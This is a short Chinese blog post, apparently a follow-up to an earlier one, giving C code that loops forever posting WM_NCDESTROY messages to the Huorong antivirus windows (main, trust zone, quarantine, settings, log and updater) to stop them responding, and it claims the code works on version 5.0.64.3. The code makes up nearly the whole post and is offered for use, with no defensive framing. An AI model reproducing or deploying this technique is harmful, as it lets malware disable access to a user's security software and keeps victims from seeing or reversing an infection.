续接上篇文章,我发现WM_NCDESTROY消息可以使火绒窗口不能响应某些消息。
while (1) { HWND hWnd = FindWindow(NULL, L"火绒安全软件"); PostMessage(hWnd, WM_NCDESTROY, NULL, NULL); hWnd = FindWindow(NULL, L"信任区"); PostMessage(hWnd, WM_NCDESTROY, NULL, NULL); hWnd = FindWindow(NULL, L"隔离区"); PostMessage(hWnd, WM_NCDESTROY, NULL, NULL); hWnd = FindWindow(NULL, L"设置"); PostMessage(hWnd, WM_NCDESTROY, NULL, NULL); hWnd = FindWindow(NULL, L"火绒安全日志"); PostMessage(hWnd, WM_NCDESTROY, NULL, NULL); hWnd = FindWindow(NULL, L"火绒升级程序"); PostMessage(hWnd, WM_NCDESTROY, NULL, NULL); hWnd = FindWindow(L"ATL:002765A0", NULL); PostMessage(hWnd, WM_NCDESTROY, NULL, NULL); Sleep(1000);}
亲测至少火绒5.0.64.3版本有效
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)